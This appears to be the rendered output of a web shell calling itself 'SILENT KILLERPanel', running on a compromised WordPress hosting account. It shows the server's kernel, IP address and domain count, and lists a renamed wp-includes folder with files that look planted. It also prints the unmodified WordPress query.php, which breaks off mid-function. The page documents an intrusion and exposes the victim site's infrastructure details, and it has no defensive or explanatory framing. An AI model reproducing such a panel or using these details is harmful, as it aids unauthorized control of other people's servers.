SILENT KILLERPanel

Current Path: > > home > branxxtp > keyclubpropertymanagement.com > wp-includes__63e5284 >


Operation   : Linux premium107.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
Software     : Apache
Server IP    : 198.54.126.246 | Your IP: 216.73.216.181
Domains      : 1034 Domain(s)
Permission   : [ 0755 ]

Files and Folders in: //home/branxxtp/keyclubpropertymanagement.com/wp-includes__63e5284/

NameTypeSizeLast ModifiedActions
ID3 Directory - -
IXR Directory - -
PHPMailer Directory - -
Requests Directory - -
SimplePie Directory - -
Text Directory - -
assets Directory - -
block-bindings Directory - -
block-patterns Directory - -
block-supports Directory - -
blocks Directory - -
certificates Directory - -
css Directory - -
customize Directory - -
fonts Directory - -
html-api Directory - -
images Directory - -
interactivity-api Directory - -
js Directory - -
l10n Directory - -
php-compat Directory - -
pomo Directory - -
rest-api Directory - -
sitemaps Directory - -
sodium_compat Directory - -
style-engine Directory - -
theme-compat Directory - -
widgets Directory - -
.htaccess File 2042 bytes February 07 2026 02:49:06.
2index.php File 5361 bytes November 13 2025 04:05:35.
admin-bar.php File 38200 bytes May 01 2025 00:24:22.
admin.php File 5361 bytes February 06 2026 03:17:44.
atomlib.php File 13172 bytes September 19 2024 06:50:16.
author-template.php File 20045 bytes May 15 2023 03:28:24.
block-bindings.php File 6688 bytes June 12 2024 22:14:14.
block-editor.php File 29891 bytes April 16 2025 05:29:33.
block-i18n.json File 316 bytes August 11 2021 18:38:02.
block-patterns.php File 14307 bytes April 16 2025 05:29:33.
block-template-utils.php File 63001 bytes April 16 2025 05:29:33.
block-template.php File 16450 bytes April 16 2025 05:29:33.
blocks.php File 114145 bytes July 16 2025 00:22:38.
bookmark-template.php File 13862 bytes April 16 2025 05:29:31.
bookmark.php File 16521 bytes March 23 2024 23:50:12.
cache-compat.php File 7063 bytes October 11 2022 03:52:12.
cache.php File 14568 bytes October 11 2022 03:52:12.
canonical.php File 35617 bytes August 23 2024 09:17:16.
capabilities.php File 43812 bytes October 15 2024 23:43:20.
category-template.php File 58097 bytes September 26 2023 09:57:12.
category.php File 13923 bytes April 16 2025 05:29:33.
class-IXR.php File 3711 bytes April 16 2025 05:29:33.
class-avif-info.php File 30709 bytes April 27 2024 00:32:14.
class-feed.php File 539 bytes October 01 2024 08:20:20.
class-http.php File 367 bytes June 17 2022 20:50:14.
class-json.php File 43684 bytes February 04 2023 00:05:20.
class-oembed.php File 401 bytes June 17 2022 20:50:14.
class-phpass.php File 7865 bytes September 18 2024 06:38:16.
class-phpmailer.php File 664 bytes July 21 2020 22:28:02.
class-pop3.php File 22215 bytes April 16 2025 05:29:34.
class-requests.php File 3331 bytes April 05 2023 22:42:26.
class-simplepie.php File 1547 bytes October 01 2024 08:20:20.
class-smtp.php File 457 bytes January 27 2021 00:15:58.
class-snoopy.php File 37715 bytes February 04 2023 00:05:20.
class-walker-category-dropdown.php File 3563 bytes September 14 2023 22:16:20.
class-walker-category.php File 9571 bytes September 08 2023 19:02:24.
class-walker-comment.php File 15315 bytes March 19 2024 01:16:14.
class-walker-nav-menu.php File 13138 bytes April 16 2025 05:29:36.
class-walker-page-dropdown.php File 3804 bytes September 14 2023 22:16:20.
class-walker-page.php File 8706 bytes September 14 2023 22:16:20.
class-wp-admin-bar.php File 18968 bytes July 18 2024 10:22:18.
class-wp-ajax-response.php File 6360 bytes September 13 2022 01:17:14.
class-wp-application-passwords.php File 18193 bytes April 16 2025 05:29:34.
class-wp-block-bindings-registry.php File 9557 bytes September 23 2024 22:05:16.
class-wp-block-bindings-source.php File 4086 bytes September 04 2024 02:03:16.
class-wp-block-editor-context.php File 2444 bytes September 13 2022 01:17:14.
class-wp-block-list.php File 5851 bytes November 02 2023 09:34:24.
class-wp-block-metadata-registry.php File 12989 bytes April 16 2025 05:29:33.
class-wp-block-parser-block.php File 3649 bytes June 27 2023 10:15:38.
class-wp-block-parser-frame.php File 3111 bytes September 20 2024 11:25:36.
class-wp-block-parser.php File 12626 bytes May 03 2024 05:39:16.
class-wp-block-pattern-categories-registry.php File 6465 bytes September 13 2022 01:17:14.
class-wp-block-patterns-registry.php File 11877 bytes September 27 2024 18:50:18.
class-wp-block-styles-registry.php File 7497 bytes April 16 2025 05:29:34.
class-wp-block-supports.php File 6720 bytes April 16 2025 05:29:33.
class-wp-block-template.php File 3127 bytes September 20 2024 11:37:12.
class-wp-block-templates-registry.php File 8325 bytes February 12 2025 00:35:26.
class-wp-block-type-registry.php File 6107 bytes October 12 2023 22:04:34.
class-wp-block-type.php File 18359 bytes May 02 2024 09:31:10.
class-wp-block.php File 24135 bytes April 16 2025 05:29:36.
class-wp-classic-to-block-menu-converter.php File 5182 bytes August 22 2023 03:21:20.
class-wp-comment-query.php File 49489 bytes June 22 2024 02:56:14.
class-wp-comment.php File 10531 bytes April 16 2025 05:29:36.
class-wp-customize-control.php File 26945 bytes April 16 2025 05:29:33.
class-wp-customize-manager.php File 203687 bytes April 16 2025 05:29:34.
class-wp-customize-nav-menus.php File 58754 bytes October 01 2025 00:40:57.
class-wp-customize-panel.php File 11804 bytes April 16 2025 05:29:33.
class-wp-customize-section.php File 12303 bytes October 14 2024 04:39:12.
class-wp-customize-setting.php File 31056 bytes April 16 2025 05:29:34.
class-wp-customize-widgets.php File 73304 bytes April 16 2025 05:29:33.
class-wp-date-query.php File 36826 bytes April 16 2025 05:29:33.
class-wp-dependencies.php File 16233 bytes August 26 2024 09:18:14.
class-wp-dependency.php File 3721 bytes November 26 2022 01:42:16.
class-wp-duotone.php File 41877 bytes June 14 2024 21:48:12.
class-wp-editor.php File 73429 bytes May 01 2025 00:24:22.
class-wp-embed.php File 17025 bytes April 16 2025 05:29:34.
class-wp-error.php File 8596 bytes February 22 2023 03:09:20.
class-wp-exception.php File 1347 bytes September 28 2024 04:58:14.
class-wp-fatal-error-handler.php File 9244 bytes October 22 2024 19:46:16.
class-wp-feed-cache-transient.php File 4270 bytes October 01 2024 08:20:20.
class-wp-feed-cache.php File 969 bytes October 01 2024 08:20:20.
class-wp-hook.php File 17094 bytes September 18 2023 22:11:18.
class-wp-http-cookie.php File 8483 bytes June 25 2023 02:47:24.
class-wp-http-curl.php File 13635 bytes September 22 2023 03:59:12.
class-wp-http-encoding.php File 7783 bytes June 23 2023 00:27:24.
class-wp-http-ixr-client.php File 4595 bytes September 13 2022 01:17:14.
class-wp-http-proxy.php File 7074 bytes June 23 2023 00:06:26.
class-wp-http-requests-hooks.php File 3116 bytes December 16 2022 08:02:18.
class-wp-http-requests-response.php File 5494 bytes October 11 2023 16:35:26.
class-wp-http-response.php File 4071 bytes September 13 2022 01:17:14.
class-wp-http-streams.php File 16859 bytes September 22 2023 03:59:12.
class-wp-http.php File 42673 bytes April 16 2025 05:29:33.
class-wp-image-editor-gd.php File 21256 bytes April 16 2025 05:29:34.
class-wp-image-editor-imagick.php File 35829 bytes April 16 2025 05:29:34.
class-wp-image-editor.php File 18621 bytes April 16 2025 05:29:34.
class-wp-list-util.php File 8537 bytes February 28 2024 09:08:16.
class-wp-locale-switcher.php File 7870 bytes April 16 2025 05:29:33.
class-wp-locale.php File 17977 bytes April 16 2025 05:29:36.
class-wp-matchesmapregex.php File 2922 bytes February 06 2024 11:55:14.
class-wp-meta-query.php File 31625 bytes April 23 2024 05:55:08.
class-wp-metadata-lazyloader.php File 7927 bytes May 11 2023 20:45:24.
class-wp-navigation-fallback.php File 10305 bytes October 06 2023 23:36:22.
class-wp-network-query.php File 20951 bytes June 22 2024 02:56:14.
class-wp-network.php File 13390 bytes September 14 2024 07:42:16.
class-wp-object-cache.php File 18618 bytes September 19 2024 21:42:16.
class-wp-oembed-controller.php File 7999 bytes March 06 2024 15:35:12.
class-wp-oembed.php File 32700 bytes July 16 2025 00:22:38.
class-wp-paused-extensions-storage.php File 6205 bytes September 04 2024 03:49:14.
class-wp-phpmailer.php File 4896 bytes April 16 2025 05:29:33.
class-wp-plugin-dependencies.php File 26409 bytes April 16 2025 05:29:36.
class-wp-post-type.php File 31774 bytes April 16 2025 05:29:34.
class-wp-post.php File 7582 bytes April 16 2025 05:29:33.
class-wp-query.php File 159117 bytes April 16 2025 05:29:36.
class-wp-recovery-mode-cookie-service.php File 7971 bytes October 04 2022 13:29:14.
class-wp-recovery-mode-email-service.php File 12277 bytes May 03 2023 01:15:22.
class-wp-recovery-mode-key-service.php File 5978 bytes April 16 2025 05:29:32.
class-wp-recovery-mode-link-service.php File 4557 bytes September 13 2022 01:17:14.
class-wp-recovery-mode.php File 12547 bytes April 16 2025 05:29:33.
class-wp-rewrite.php File 64782 bytes October 20 2024 09:24:18.
class-wp-role.php File 3617 bytes September 08 2023 19:02:24.
class-wp-roles.php File 9680 bytes September 04 2024 03:49:14.
class-wp-script-modules.php File 20557 bytes April 16 2025 05:29:36.
class-wp-scripts.php File 29438 bytes August 11 2024 08:30:14.
class-wp-session-tokens.php File 8413 bytes April 16 2025 05:29:31.
class-wp-simplepie-file.php File 4502 bytes October 01 2024 08:20:20.
class-wp-simplepie-sanitize-kses.php File 3004 bytes April 16 2025 05:29:33.
class-wp-site-query.php File 32719 bytes September 11 2024 21:38:20.
class-wp-site.php File 8548 bytes September 13 2022 01:17:14.
class-wp-speculation-rules.php File 8621 bytes April 16 2025 05:29:33.
class-wp-styles.php File 12104 bytes August 11 2024 08:30:14.
class-wp-tax-query.php File 20649 bytes February 17 2024 08:17:12.
class-wp-taxonomy.php File 19653 bytes April 16 2025 05:29:34.
class-wp-term-query.php File 41963 bytes November 06 2024 00:54:16.
class-wp-term.php File 6392 bytes September 13 2022 01:17:14.
class-wp-text-diff-renderer-inline.php File 2073 bytes February 15 2024 05:57:10.
class-wp-text-diff-renderer-table.php File 19974 bytes April 16 2025 05:29:33.
class-wp-textdomain-registry.php File 11575 bytes November 21 2024 00:05:16.
class-wp-theme-json-data.php File 2903 bytes June 04 2024 21:25:14.
class-wp-theme-json-resolver.php File 36832 bytes April 16 2025 05:29:33.
class-wp-theme-json-schema.php File 8461 bytes June 06 2024 17:32:16.
class-wp-theme-json.php File 164639 bytes April 16 2025 05:29:34.
class-wp-theme.php File 66904 bytes April 16 2025 05:29:34.
class-wp-token-map.php File 29712 bytes July 20 2024 09:14:16.
class-wp-url-pattern-prefixer.php File 5896 bytes April 16 2025 05:29:34.
class-wp-user-meta-session-tokens.php File 4084 bytes January 09 2019 15:34:50.
class-wp-user-query.php File 44749 bytes April 16 2025 05:29:33.
class-wp-user-request.php File 3399 bytes April 16 2025 05:29:36.
class-wp-user.php File 24088 bytes April 16 2025 05:29:33.
class-wp-walker.php File 14416 bytes July 26 2024 17:26:14.
class-wp-widget-factory.php File 4441 bytes September 13 2022 01:17:14.
class-wp-widget.php File 19523 bytes April 16 2025 05:29:34.
class-wp-xmlrpc-server.php File 216538 bytes April 16 2025 05:29:33.
class-wp.php File 30421 bytes April 16 2025 05:29:32.
class-wpdb.php File 118284 bytes April 16 2025 05:29:31.
class.wp-dependencies.php File 373 bytes September 20 2022 23:47:12.
class.wp-scripts.php File 343 bytes September 20 2022 23:47:12.
class.wp-styles.php File 338 bytes September 20 2022 23:47:12.
comment-template.php File 104198 bytes July 16 2025 00:22:38.
comment.php File 132641 bytes April 16 2025 05:29:34.
compat.php File 17470 bytes April 16 2025 05:29:36.
cron.php File 43752 bytes April 16 2025 05:29:34.
date.php File 400 bytes June 17 2022 20:50:14.
default-constants.php File 12459 bytes October 01 2024 09:28:16.
default-filters.php File 37791 bytes April 16 2025 05:29:36.
default-widgets.php File 3389 bytes April 16 2025 05:29:31.
deprecated.php File 192658 bytes April 16 2025 05:29:33.
embed-template.php File 338 bytes June 17 2022 20:50:14.
embed.php File 39266 bytes April 16 2025 05:29:34.
error-protection.php File 5215 bytes May 03 2023 01:15:22.
feed-atom-comments.php File 6583 bytes March 04 2024 23:11:10.
feed-atom.php File 4200 bytes April 16 2025 05:29:33.
feed-rdf.php File 3747 bytes January 29 2020 11:15:18.
feed-rss.php File 2268 bytes January 29 2020 11:15:18.
feed-rss2-comments.php File 5215 bytes March 04 2024 23:11:10.
feed-rss2.php File 4878 bytes January 29 2020 11:15:18.
feed.php File 24505 bytes November 12 2024 04:25:14.
fonts.php File 10845 bytes October 28 2024 07:27:10.
formatting.php File 344015 bytes July 16 2025 00:22:38.
functions.php File 291649 bytes April 16 2025 05:29:33.
functions.wp-scripts.php File 15652 bytes May 27 2024 06:21:14.
functions.wp-styles.php File 9677 bytes May 27 2024 06:21:14.
general-template.php File 173592 bytes April 16 2025 05:29:32.
global-styles-and-settings.php File 22355 bytes April 16 2025 05:29:34.
http.php File 26406 bytes October 28 2024 07:49:16.
https-detection.php File 6951 bytes April 16 2025 05:29:34.
https-migration.php File 5835 bytes July 11 2023 08:08:26.
index.htm File 1104 bytes January 26 2026 05:14:06.
index.html File 1104 bytes January 26 2026 05:14:06.
kses.php File 75566 bytes April 16 2025 05:29:36.
l10n.php File 69624 bytes April 16 2025 05:29:36.
link-template.php File 157801 bytes April 16 2025 05:29:34.
load.php File 56440 bytes April 16 2025 05:29:34.
locale.php File 162 bytes October 09 2019 02:49:04.
media-template.php File 64154 bytes April 16 2025 05:29:34.
media.php File 221590 bytes July 16 2025 00:22:38.
meta.php File 66337 bytes April 16 2025 05:29:34.
ms-blogs.php File 26939 bytes April 16 2025 05:29:34.
ms-default-constants.php File 6015 bytes June 14 2024 06:20:14.
ms-default-filters.php File 7730 bytes February 24 2023 11:53:20.
ms-deprecated.php File 22853 bytes April 13 2024 03:17:14.
ms-files.php File 3838 bytes May 01 2025 00:24:22.
ms-functions.php File 92676 bytes April 16 2025 05:29:33.
ms-load.php File 20977 bytes March 26 2024 02:49:18.
ms-network.php File 4876 bytes May 02 2023 20:56:24.
ms-settings.php File 5291 bytes April 16 2025 05:29:33.
ms-site.php File 42414 bytes April 16 2025 05:29:34.
nav-menu-template.php File 27084 bytes April 16 2025 05:29:36.
nav-menu.php File 45467 bytes August 06 2024 04:30:20.
option.php File 104159 bytes April 16 2025 05:29:33.
pluggable-deprecated.php File 7418 bytes April 16 2025 05:29:33.
pluggable.php File 123794 bytes April 16 2025 05:29:36.
plugin.php File 35465 bytes June 08 2023 17:24:22.
post-formats.php File 8196 bytes May 28 2024 01:59:16.
post-template.php File 69742 bytes April 16 2025 05:29:33.
post-thumbnail-template.php File 11973 bytes April 16 2025 05:29:33.
post.php File 292806 bytes April 16 2025 05:29:33.
query.php File 38129 bytes August 24 2023 18:31:16.
registration-functions.php File 200 bytes November 12 2020 21:47:08.
registration.php File 200 bytes November 12 2020 21:47:08.
rest-api.php File 101351 bytes April 16 2025 05:29:34.
revision.php File 31835 bytes April 16 2025 05:29:36.
rewrite.php File 20635 bytes September 19 2024 04:38:12.
robots-template.php File 6279 bytes April 07 2022 01:03:04.
rss-functions.php File 255 bytes November 17 2020 09:22:06.
rss.php File 23113 bytes September 19 2024 07:10:12.
script-loader.php File 134356 bytes May 01 2025 00:24:22.
script-modules.php File 8806 bytes October 14 2024 04:19:16.
session.php File 258 bytes February 06 2020 17:03:12.
shortcodes.php File 25145 bytes May 25 2024 12:34:12.
sitemaps.php File 4332 bytes May 16 2021 03:08:06.
speculative-loading.php File 9652 bytes April 16 2025 05:29:34.
spl-autoload-compat.php File 441 bytes November 12 2020 21:47:08.
style-engine.php File 8657 bytes May 03 2024 14:17:12.
taxonomy.php File 177321 bytes April 16 2025 05:29:33.
template-canvas.php File 1623 bytes October 01 2023 09:52:28.
template-loader.php File 7130 bytes May 26 2020 19:07:10.
template.php File 25248 bytes February 22 2024 05:56:08.
theme-i18n.json File 1526 bytes April 16 2025 05:29:34.
theme-previews.php File 3926 bytes December 08 2023 17:02:24.
theme-templates.php File 7332 bytes April 16 2025 05:29:33.
theme.json File 8704 bytes June 12 2024 15:41:14.
theme.php File 135397 bytes April 16 2025 05:29:33.
update.php File 38597 bytes April 16 2025 05:29:36.
user.php File 176917 bytes April 16 2025 05:29:36.
vars.php File 7656 bytes April 16 2025 05:29:34.
version.php File 2184 bytes October 01 2025 00:40:57.
widgets.php File 71813 bytes April 16 2025 05:29:34.
wp-db.php File 445 bytes July 22 2022 08:15:12.
wp-diff.php File 1893 bytes April 16 2025 05:29:33.

Reading File: //home/branxxtp/keyclubpropertymanagement.com/wp-includes__63e5284//query.php

<?php
/**
 * WordPress Query API
 *
 * The query API attempts to get which part of WordPress the user is on. It
 * also provides functionality for getting URL query information.
 *
 * @link https://developer.wordpress.org/themes/basics/the-loop/ More information on The Loop.
 *
 * @package WordPress
 * @subpackage Query
 */

/**
 * Retrieves the value of a query variable in the WP_Query class.
 *
 * @since 1.5.0
 * @since 3.9.0 The `$default_value` argument was introduced.
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @param string $query_var     The variable key to retrieve.
 * @param mixed  $default_value Optional. Value to return if the query variable is not set.
 *                              Default empty string.
 * @return mixed Contents of the query variable.
 */
function get_query_var( $query_var, $default_value = '' ) {
	global $wp_query;
	return $wp_query->get( $query_var, $default_value );
}

/**
 * Retrieves the currently queried object.
 *
 * Wrapper for WP_Query::get_queried_object().
 *
 * @since 3.1.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @return WP_Term|WP_Post_Type|WP_Post|WP_User|null The queried object.
 */
function get_queried_object() {
	global $wp_query;
	return $wp_query->get_queried_object();
}

/**
 * Retrieves the ID of the currently queried object.
 *
 * Wrapper for WP_Query::get_queried_object_id().
 *
 * @since 3.1.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @return int ID of the queried object.
 */
function get_queried_object_id() {
	global $wp_query;
	return $wp_query->get_queried_object_id();
}

/**
 * Sets the value of a query variable in the WP_Query class.
 *
 * @since 2.2.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @param string $query_var Query variable key.
 * @param mixed  $value     Query variable value.
 */
function set_query_var( $query_var, $value ) {
	global $wp_query;
	$wp_query->set( $query_var, $value );
}

/**
 * Sets up The Loop with query parameters.
 *
 * Note: This function will completely override the main query and isn't intended for use
 * by plugins or themes. Its overly-simplistic approach to modifying the main query can be
 * problematic and should be avoided wherever possible. In most cases, there are better,
 * more performant options for modifying the main query such as via the {@see 'pre_get_posts'}
 * action within WP_Query.
 *
 * This must not be used within the WordPress Loop.
 *
 * @since 1.5.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @param array|string $query Array or string of WP_Query arguments.
 * @return WP_Post[]|int[] Array of post objects or post IDs.
 */
function query_posts( $query ) {
	$GLOBALS['wp_query'] = new WP_Query();
	return $GLOBALS['wp_query']->query( $query );
}

/**
 * Destroys the previous query and sets up a new query.
 *
 * This should be used after query_posts() and before another query_posts().
 * This will remove obscure bugs that occur when the previous WP_Query object
 * is not destroyed properly before another is set up.
 *
 * @since 2.3.0
 *
 * @global WP_Query $wp_query     WordPress Query object.
 * @global WP_Query $wp_the_query Copy of the global WP_Query instance created during wp_reset_query().
 */
function wp_reset_query() {
	$GLOBALS['wp_query'] = $GLOBALS['wp_the_query'];
	wp_reset_postdata();
}

/**
 * After looping through a separate query, this function restores
 * the $post global to the current post in the main query.
 *
 * @since 3.0.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 */
function wp_reset_postdata() {
	global $wp_query;

	if ( isset( $wp_query ) ) {
		$wp_query->reset_postdata();
	}
}

/*
 * Query type checks.
 */

/**
 * Determines whether the query is for an existing archive page.
 *
 * Archive pages include category, tag, author, date, custom post type,
 * and custom taxonomy based archives.
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 1.5.0
 *
 * @see is_category()
 * @see is_tag()
 * @see is_author()
 * @see is_date()
 * @see is_post_type_archive()
 * @see is_tax()
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @return bool Whether the query is for an existing archive page.
 */
function is_archive() {
	global $wp_query;

	if ( ! isset( $wp_query ) ) {
		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1.0' );
		return false;
	}

	return $wp_query->is_archive();
}

/**
 * Determines whether the query is for an existing post type archive page.
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 3.1.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @param string|string[] $post_types Optional. Post type or array of posts types
 *                                    to check against. Default empty.
 * @return bool Whether the query is for an existing post type archive page.
 */
function is_post_type_archive( $post_types = '' ) {
	global $wp_query;

	if ( ! isset( $wp_query ) ) {
		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1.0' );
		return false;
	}

	return $wp_query->is_post_type_archive( $post_types );
}

/**
 * Determines whether the query is for an existing attachment page.
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 2.0.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @param int|string|int[]|string[] $attachment Optional. Attachment ID, title, slug, or array of such
 *                                              to check against. Default empty.
 * @return bool Whether the query is for an existing attachment page.
 */
function is_attachment( $attachment = '' ) {
	global $wp_query;

	if ( ! isset( $wp_query ) ) {
		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1.0' );
		return false;
	}

	return $wp_query->is_attachment( $attachment );
}

/**
 * Determines whether the query is for an existing author archive page.
 *
 * If the $author parameter is specified, this function will additionally
 * check if the query is for one of the authors specified.
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 1.5.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @param int|string|int[]|string[] $author Optional. User ID, nickname, nicename, or array of such
 *                                          to check against. Default empty.
 * @return bool Whether the query is for an existing author archive page.
 */
function is_author( $author = '' ) {
	global $wp_query;

	if ( ! isset( $wp_query ) ) {
		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1.0' );
		return false;
	}

	return $wp_query->is_author( $author );
}

/**
 * Determines whether the query is for an existing category archive page.
 *
 * If the $category parameter is specified, this function will additionally
 * check if the query is for one of the categories specified.
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 1.5.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @param int|string|int[]|string[] $category Optional. Category ID, name, slug, or array of such
 *                                            to check against. Default empty.
 * @return bool Whether the query is for an existing category archive page.
 */
function is_category( $category = '' ) {
	global $wp_query;

	if ( ! isset( $wp_query ) ) {
		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1.0' );
		return false;
	}

	return $wp_query->is_category( $category );
}

/**
 * Determines whether the query is for an existing tag archive page.
 *
 * If the $tag parameter is specified, this function will additionally
 * check if the query is for one of the tags specified.
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 2.3.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @param int|string|int[]|string[] $tag Optional. Tag ID, name, slug, or array of such
 *                                       to check against. Default empty.
 * @return bool Whether the query is for an existing tag archive page.
 */
function is_tag( $tag = '' ) {
	global $wp_query;

	if ( ! isset( $wp_query ) ) {
		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1.0' );
		return false;
	}

	return $wp_query->is_tag( $tag );
}

/**
 * Determines whether the query is for an existing custom taxonomy archive page.
 *
 * If the $taxonomy parameter is specified, this function will additionally
 * check if the query is for that specific $taxonomy.
 *
 * If the $term parameter is specified in addition to the $taxonomy parameter,
 * this function will additionally check if the query is for one of the terms
 * specified.
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 2.5.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @param string|string[]           $taxonomy Optional. Taxonomy slug or slugs to check against.
 *                                            Default empty.
 * @param int|string|int[]|string[] $term     Optional. Term ID, name, slug, or array of such
 *                                            to check against. Default empty.
 * @return bool Whether the query is for an existing custom taxonomy archive page.
 *              True for custom taxonomy archive pages, false for built-in taxonomies
 *              (category and tag archives).
 */
function is_tax( $taxonomy = '', $term = '' ) {
	global $wp_query;

	if ( ! isset( $wp_query ) ) {
		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1.0' );
		return false;
	}

	return $wp_query->is_tax( $taxonomy, $term );
}

/**
 * Determines whether the query is for an existing date archive.
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 1.5.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @return bool Whether the query is for an existing date archive.
 */
function is_date() {
	global $wp_query;

	if ( ! isset( $wp_query ) ) {
		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1.0' );
		return false;
	}

	return $wp_query->is_date();
}

/**
 * Determines whether the query is for an existing day archive.
 *
 * A conditional check to test whether the page is a date-based archive page displaying posts for the current day.
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 1.5.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @return bool Whether the query is for an existing day archive.
 */
function is_day() {
	global $wp_query;

	if ( ! isset( $wp_query ) ) {
		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1.0' );
		return false;
	}

	return $wp_query->is_day();
}

/**
 * Determines whether the query is for a feed.
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 1.5.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @param string|string[] $feeds Optional. Feed type or array of feed types
 *                                         to check against. Default empty.
 * @return bool Whether the query is for a feed.
 */
function is_feed( $feeds = '' ) {
	global $wp_query;

	if ( ! isset( $wp_query ) ) {
		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1.0' );
		return false;
	}

	return $wp_query->is_feed( $feeds );
}

/**
 * Is the query for a comments feed?
 *
 * @since 3.0.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @return bool Whether the query is for a comments feed.
 */
function is_comment_feed() {
	global $wp_query;

	if ( ! isset( $wp_query ) ) {
		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1.0' );
		return false;
	}

	return $wp_query->is_comment_feed();
}

/**
 * Determines whether the query is for the front page of the site.
 *
 * This is for what is displayed at your site's main URL.
 *
 * Depends on the site's "Front page displays" Reading Settings 'show_on_front' and 'page_on_front'.
 *
 * If you set a static page for the front page of your site, this function will return
 * true when viewing that page.
 *
 * Otherwise the same as {@see is_home()}.
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 2.5.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @return bool Whether the query is for the front page of the site.
 */
function is_front_page() {
	global $wp_query;

	if ( ! isset( $wp_query ) ) {
		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1.0' );
		return false;
	}

	return $wp_query->is_front_page();
}

/**
 * Determines whether the query is for the blog homepage.
 *
 * The blog homepage is the page that shows the time-based blog content of the site.
 *
 * is_home() is dependent on the site's "Front page displays" Reading Settings 'show_on_front'
 * and 'page_for_posts'.
 *
 * If a static page is set for the front page of the site, this function will return true only
 * on the page you set as the "Posts page".
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 1.5.0
 *
 * @see is_front_page()
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @return bool Whether the query is for the blog homepage.
 */
function is_home() {
	global $wp_query;

	if ( ! isset( $wp_query ) ) {
		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1.0' );
		return false;
	}

	return $wp_query->is_home();
}

/**
 * Determines whether the query is for the Privacy Policy page.
 *
 * The Privacy Policy page is the page that shows the Privacy Policy content of the site.
 *
 * is_privacy_policy() is dependent on the site's "Change your Privacy Policy page" Privacy Settings 'wp_page_for_privacy_policy'.
 *
 * This function will return true only on the page you set as the "Privacy Policy page".
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 5.2.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @return bool Whether the query is for the Privacy Policy page.
 */
function is_privacy_policy() {
	global $wp_query;

	if ( ! isset( $wp_query ) ) {
